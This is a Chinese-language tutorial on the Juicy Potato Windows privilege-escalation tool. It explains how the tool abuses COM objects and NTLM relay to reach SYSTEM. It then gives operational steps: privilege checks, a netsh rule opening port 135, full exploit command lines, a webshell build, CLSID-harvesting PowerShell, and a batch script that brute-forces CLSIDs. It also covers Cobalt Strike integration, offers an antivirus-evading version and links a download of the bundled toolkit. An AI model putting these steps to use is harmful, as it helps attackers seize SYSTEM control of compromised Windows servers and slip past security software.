Juicy Potato江湖人称烂土豆,是在MS16-075漏洞利用工具RottenPotatoN工具的基础上做了扩展(A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM*)
追根到底是一款Windows的本地提权工具,利用了COM对象进行提权,相比RottenPotatoNG适用范围更加广泛(正如作者所说with a bit of juice)
使用Juicy Potato这款提权工具的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,因此带有一定的局限性,对权限有一定要求,并非万能神器
Juicy Potato的项目官网如下:
https://github.com/ohpe/juicy-potato
这款提权工具其实早在18年末就有人开发出来了,但是吧,依然没有进入到很多人的视野中,今天写这篇文章也是站在很多大佬的肩膀上进行总结与开新枝,如有错误,希望大家能及时斧正
选择你想要的任何CLSID。
目前作者的官方github项目中已经给出了windows版本的CLSID列表。
设置你需要的COM侦听端口
设置COM组件监听的目标ip
取决于模拟用户的权限,有以下三个选择:
CreateProcessWithToken (需要SeImpersonate权限)
CreateProcessAsUser (需要SeAssignPrimaryToken权限)
both(综合以上两种)
如果JuIcy potato利用成功,则启动可执行文件或脚本
自定义已启动的进程参数
①当前用户必须具有以下权限中的一种,或者两种同时具备
SeImpersonate权限
SeAssignPrimaryToken权限
以下用户具有该权限:
· 本地管理员组成员和本地服务帐户
· 由服务控制管理器启动的服务
· COM基础结构启动的并配置为在特定帐户下运行的COM服务器
常见的为LocalService用户,例如IIS和者sqlserver的用户
②开启DCOM,并能找到可用的COM对象
③开启RPC
· LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限
· 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程
· 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程
Juicy Potato的实现流程如下:
1、加载COM,发出请求,权限为System
在指定ip和端口的位置尝试加载一个COM对象。
RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
2、回应步骤1的请求,发起NTLM认证
正常情况下,由于权限不足,当前权限不是System,无法认证成功。
3、针对本地端口,同样发起NTLM认证,权限为当前用户
由于权限为当前用户,所以NTLM认证能够成功完成。
RottenPotatoNG使用的135端口。
Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。
4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token
重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。
5、利用System权限的Token创建新进程
如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。
如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限
D:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess调用: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both
-p : 运行指定程序
-l : COM服务器侦听端口
Optional args:
-m : COM服务器侦听地址 (默认 127.0.0.1)
-a : 传递给程序命令行参数 (默认 NULL)
-k : RPC服务器IP地址 (默认 127.0.0.1)
-n : RPC服务器侦听端口 (默认 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z 仅测试CLSID并打印令牌的用户
1、查看当前用户权限,是否符合要求
whoami /priv
如果开启SeImpersonate权限,juicypotato的参数可以使用-t t
如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u
如果均开启,可以选择-t *
如果均未开启,那么无法提权。
2、查看RPC默认端口是否为135
如果被修改(例如为111),juicypotato的参数可以使用-n 111指定RPC端口
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k
Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录。
添加防火墙规则允许135端口入站的命令如下:
netsh advfirewall firewall add rule name=“135” protocol=TCP dir=in localport=135 action=allow
3、选择可用的CLSID
参考列表
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
根据你的系统类型选择CLSID(EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D})
然后-c指定即可
相关系统使用的CLSID文末都给大家打包了
4、选择一个系统未占用的端口作为监听端口
-l参数指定即可
例如,最终参数如下:
JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})
即使用SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}来进行提权
webshell中使用Juicy-Potato的提权的话
Juicy potato需要进行一些特殊处理,使其直接返回结果
实现起来比较简单,在我文章后附有文件JuicyPotato-webshell.exe
其默认使用的CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}
直接执行JuicyPotato-webshell.exe -p “whoami”
或者JuicyPotato-webshell.exe -p “whoami” -c {XXXXX}即可
执行效果如图
官方给出的code如下
<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>
$ErrorActionPreference = "Stop"
# Importing some requirements
. .\utils\Join-Object.ps1
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
$APPID = Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}} | where-object {$_.LocalService -ne $null}
$RESULT = Join-Object -Left $APPID -Right $CLSID -LeftJoinProperty AppID -RightJoinProperty AppID -Type AllInRight | Sort-Object LocalService
# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"
# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET
# Output in a CSV
$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation
# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii
# Visual Table
$RESULT | ogv
部分系统中是无法正常提取的,会报错
在此贴上修复的powershell提取脚本
New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
Write-Host $a.CLSID
}
直接执行Powershell -ep bypass -f get-clid-2012.ps1即可
效果如图
官方给出的批处理脚本经过测试后,问题非常多,本人做了一下修改
code如下–juicypotato.bat
@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION
FOR /F %%i IN (CLSID.list) DO (
echo %%i !port!
juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
set RET=!ERRORLEVEL!
:: echo !RET!
if "!RET!" == "1" set /a port=port+1
)
执行后在同目录下生成一个result.log文件
记录测试不同CLSID使用烂土豆提权的结果
随后根据log的相关输出,选择合适的CLSID进行权限提升即可
在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升
但是缺陷比较明显,只能使用默认的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权,如果想使用其他CLSID请参考命令行等执行方法
下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器–>load加载juicypotato.cna脚本
随后我们在提权模块即可发现多了一个JuicyPotato
点击开始后,提权效果如图
权限提升至NT AUTHORITY\SYSTEM
本次实验环境中的原版JuicyPotato,JuicyPotato-webshell,Get-CLSID.ps1,批处理文件,Cobaltstrike脚本都已经给大家集成好了
听说JuicyPotato已经加入豪华全家桶系列?没事,咱有免杀版本
懂C的人也可以自己修改一下源代码,很好过杀软的
全部的脚本及程序下载
链接:https://pan.baidu.com/s/1lsbcCkZPSvHwhxsm8k_tuw
提取码:w6hl
https://github.com/ohpe/juicy-potato/tree/master/CLSID/
https://github.com/ohpe/juicy-potato
https://3gstudent.github.io